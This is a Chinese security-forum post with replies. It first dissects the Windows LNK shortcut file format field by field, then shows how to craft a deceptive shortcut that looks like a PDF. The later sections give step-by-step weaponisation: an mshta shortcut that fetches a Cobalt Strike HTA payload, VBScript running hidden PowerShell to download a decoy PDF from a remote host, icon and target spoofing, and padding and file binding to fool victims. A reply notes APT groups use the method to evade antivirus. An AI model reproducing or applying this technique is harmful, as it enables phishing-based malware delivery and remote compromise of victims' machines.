首页
论坛
课程
招聘
[原创]LNK文件格式分析及伪装
2020-7-27 10:43 2037

[原创]LNK文件格式分析及伪装

2020-7-27 10:43
2037

0x01 LNK文件格式解析

文件前20字节固定不变:

 

图片1 文件前20字节

  • HeaderSize(4 bytes, offset 0x00):0x0000004C

  • LinkCLSID(16 bytes, offset 0x04):00021401-0000-0000-C000-000000000046

0x01.1 LinkFlags

offset 0x14起始4字节为LinkFlags(下图来自微软官方文档):

 

图片2 LinkFlags定义

 

由图片2可以看到,该文件LinkFlags为0x000802DB(Bin:0000 0000 0000 1000 0000 0010 1101 1011),这表示以下Flag被设置:

  • HasLinkTargetIDList
  • HasLinkInfo
  • HasRelativePath
  • HasWorkingDir
  • HasIconLocation
  • IsUnicode
  • HasExpIcon
  • DisableLinkPathTracking

上述Flag会在下文解释,故此处先不做展开。

0x01.2 FileAttributes

offset 0x18起始4字节为FileAttributes, 0x00000020表示FILE_ATTRIBUTE_ARCHIVE

0x01.3 CreateTime & AccessTime & WriteTime

offset 0x1C开始,每个字段各占8字节:

 

图片3 Time

0x01.4 FileSize

由图4可以看到,FileSize为0x000E0400(占4个字节)。

0x01.5 IconIndex

IconIndex为0x00000001(占4个字节)。

0x01.6 ShowCommand & Hotkey

 

offset 0x3C开始,ShowCommand占4字节,0x00000001表示SW_SHOWNORMAL;Hotkey占2字节;余下10个字节均为保留位。


0x01.7 LinkTargetIDList

由于LinkFlags中HasLinkTargetIDList设为1,故文件包含LinkTargetIDList结构。LinkTargetIDList构成如下:

 

图片5 LinkTargetIDList

 

而IDList由ItemID构成,以2字节全为0的TerminalID作为结束:

 

图片6 ItemID

 

下面来看示例文件中的LinkTargetIDList:

 

图片7 LinkTargetIDList示例

 

上图红色部分为IDListSize,绿色部分为TerminalID,中间蓝色部分则为IDList。下面来看IDList,第一个ItemID如下:

  • ItemIDSize(2 bytes, offset 0x004E):0x0014
  • Data(12 bytes, offset 0x0050):根据微软官方文档给出的信息,其含义为computer

第二个ItemID:

 

图片8 ItemID-2

  • ItemIDSize(2 bytes, offset 0x0062):0x0019
  • Data(23 bytes, offset 0x0064):其含义为c:

第三个ItemID:

 

图片9 ItemID-3

 

不再赘述,其含义为Windows。

 

第四个ItemID:

 

图片10 ItemID-4

 

其含义为System32。

 

第五个ItemID:

 

图片11 ItemID-5

0x01.8 LinkInfo

由于LinkFlags中HasLinkInfo设为1,故文件包含LinkInfo结构。LinkInfo构成如下:

 

图片12 LinkInfo

 

下面来看下示例文件中的LinkInfo:

 

图片13 LinkInfo示例

  • LinkInfoSize(4 bytes, offset 0x017B):0x00000053
  • LinkInfoHeaderSize(4 bytes, offset 0x017F):LinkInfo结构定义中指定该字段为0x0000001C
  • LinkInfoFlags(4 bytes, offset 0x0183):0x00000001,表示VolumeIDAndLocalBasePath标志位设为1
  • VolumeIDOffset(4 bytes, offset 0x0187):0x0000001C,自offset 0x017B处VolumeID偏移大小
  • LocalBasePathOffset(4 bytes, offset 0x018B): 0x00000035,自offset 0x017B处LocalBasePath偏移大小
  • CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F):0x00000000,CommonNetworkRelativeLink不存在
  • CommonPathSuffixOffset(4 bytes, offset 0x0193):0x00000052,自offset 0x017B处CommonPathSuffix偏移大小
  • VolumeID(25 bytes, offset 0x0197):由于VolumeIDAndLocalBasePath设置为1,故包含VolumeID结构如下:
    • VolumeIDSize(4 bytes, offset 0x0197):0x00000019
    • DriveType(4 bytes, offset 0x019B):DRIVE_FIXED(3)
    • DriveSerialNumber(4 bytes, offset 0x019F)
    • VolumeLabelOffset(4 bytes, offset 0x01A3):0x00000010,自offset 0x0197处VolumeLabel偏移大小
    • Data(9 bytes, offset 0x01A7):Windows7
  • LocalBasePath(29 bytes, offset 0x01B0):由于VolumeIDAndLocalBasePath设置为1,故包含LocalBasePath——"C:\Windows\System32\calc.exe"。该字段为指向链接目标的完整路径。
  • CommonPathSuffix(1 byte, offset 0x01CD):空字符

0x01.9 String Data

每个String Data结构如下:

 

图片14 String Data

 

由于LinkFlags中HasRelativePath设为1,故文件包含RELATIVE_PATH字符串:

 

图片15 RELATIVE_PATH

 

红色部分是CountCharacters(Unicode字符串长度,故应该为0x22*2=0x44),蓝色部分则为String。

 

之后是WORKING_DIR字符串:

 

图片16 WORKING_DIR

 

ICON_LOCATION字符串:

 

图片17 ICON_LOCATION

0x01.10 EnvironmentVariableDataBlock

由于LinkFlags中HasExpString设为1,故文件包含EnvironmentVariableDataBlock:

 

图片18 EnvironmentVariableDataBlock

  • BlockSize(4 bytes):该字段值必须为0x0314
  • BlockSignature (4 bytes):该字段值必须为0xA0000001
  • TargetAnsi (260 bytes):指定环境变量路径(ANSI字符串),详见下图。

图片19 TargetAnsi

  • TargetUnicode(520 bytes):指定环境变量路径(UNICODE字符串),详见下图。

图片20 TargetUnicode

0x01.11 EXTRA_DATA

由零个或多个下列数据块与TERMINAL_BLOCK组成:

 

图片21 EXTRA_DATA

 

示例文件中的EXTRA_DATA包含SpecialFolderDataBlock:

 

图片22 SpecialFolderDataBlock

  • BlockSize(4 bytes): 0x00000010
  • BlockSignature(4 bytes): 0xA000005,标识SpecialFolderDataBlock
  • SpecialFolderID (4 bytes):0x00000025,指定Folder ID
  • Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID

KnownFolderDataBlock:

 

图片23 KnownFolderDataBlock

  • BlockSize(4 bytes): 0x0000001C
  • BlockSignature(4 bytes): 0xA00000B,标识KnownFolderDataBlock
  • KnownFolderID(16 bytes):GUID
  • Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID

PropertyStoreDataBlock:

 

图片24 PropertyStoreDataBlock

  • BlockSize(4 bytes): 0x000001F4
  • BlockSignature(4 bytes): 0xA000009,标识PropertyStoreDataBlock
  • PropertryStore(492 bytes)

    TrackerDataBlock:

图片25 PropertyStoreDataBlock

  • BlockSize(4 bytes): 0x00000060
  • BlockSignature(4 bytes): 0xA000003,标识TrackerDataBlock
  • Length(4 bytes):0x00000058,该数据块最小长度
  • Version(4 bytes):0x00000000
  • MachineID(16 bytes)
  • Droid(32 bytes):2 GUID
  • DroidBirth(32 byte):2 GUID

0x02 构造迷惑性LNK文件

我们首先生成一个正常的LNK文件:

 

图片26 正常LNK文件

 

之后更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个:

 

图片27 修改图标

0x02.1 修改图标

用010 Editor打开该LNK文件,找到String Data部分ICON_LOCATION字符串:

 

图片28 ICON_LOCATION

 

我们要将其修改为.\1.pdf(Unicode),其长度0x07:

 

图片29 修改图标

 

其效果如下所示(左边机器打开PDF文件的默认程序是XODO PDF Reader,中间是Adobe Reader,右边是谷歌浏览器):

 

图片30 效果展示

0x02.2 修改目标

原始目标如下所示:

 

图片31 原始目标

 

现在我们修改EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode:

 

图片32 修改TargetAnsi

 

图片33 修改TargetUnicode

 

将其修改为%windir%\system32目录不存在的一个EXE文件名。

 

效果展示:

 

图片34 效果展示

 

但这时双击该文件会报错:

 

图片35 报错

 

所以我们需要再修改LinkTargetIDList中第五个ItemID:

 

图片36 修改第五个ItemID

 

如此一来,打开该文件便会弹出计算器:

 

图片37 弹出计算器

0x03 扩展

首先新建一指向%windir%\System32\mshta.exe的快捷方式(文件名尽量带有迷惑性),并更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个:

 

图片38 mshta

 

之后更改其参数为HTA下载地址:

 

图片39 文件下载

 

注:笔者是使用Cobalt Strike生成HTA文件:

 

 

于其执行payload前增加如下 语句:

    Dim open_pdf
    Set open_pdf = CreateObject("Wscript.Shell")
    open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'\LNK文件格式解析(修改版).pdf');Start-Process $env:temp'\LNK文件格式解析(修改版).pdf'", 0, true

这样一来,在受害者打开LNK文件后会从远程下载一正常PDF文档并打开。

 

接下来按照0x02部分所述方法修改即可,此处加一个Tip——在其WORKING_DIR字符串前面添加大量空格字符,使其目标长度超过260个字符:

 

图片40 添加空格字符

 

使用copy \B命令将其与正常PDF文档捆绑,使其文件大小看起来更具有迷惑性:

 

图片41 文件大小

 

之后双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档:

 

图片42 主机上线

 

效果展示:

 

图片43 效果


[看雪官方]《安卓高级研修班》线下班,网课(12月)班开始同步招生!!

最后于 2020-7-29 22:34 被erfze编辑 ,原因: 某张图片错误
收藏
点赞4
打赏
分享
最新回复 (5)
雪    币: 3015
活跃值: 活跃值 (1930)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
erfze 活跃值 5 2020-7-27 10:45
2
0
许久没有发帖,不知道本文应当发在哪个版块...
其中如有不当之处,望读者不吝赐教,笔者感激不尽。
雪    币: 5190
活跃值: 活跃值 (6293)
能力值: (RANK:65 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2020-7-27 21:09
3
0
erfze 许久没有发帖,不知道本文应当发在哪个版块... 其中如有不当之处,望读者不吝赐教,笔者感激不尽。
就发在这个版块,感谢分享!
雪    币: 3015
活跃值: 活跃值 (1930)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
erfze 活跃值 5 2020-7-27 22:19
4
0
Editor 就发在这个版块,感谢分享!
起初要发Web版块的,但是后来想想发Web版块可能更不合适
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
那年雨夏 活跃值 2020-7-29 22:14
5
0
感谢分享
雪    币: 0
活跃值: 活跃值 (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qkhooks 活跃值 2020-8-25 10:02
6
0
再稍微处理,部分杀软就瞎了,这方法目前来说确实给APT拿来做了不少地方了啊
游客
登录 | 注册 方可回帖
返回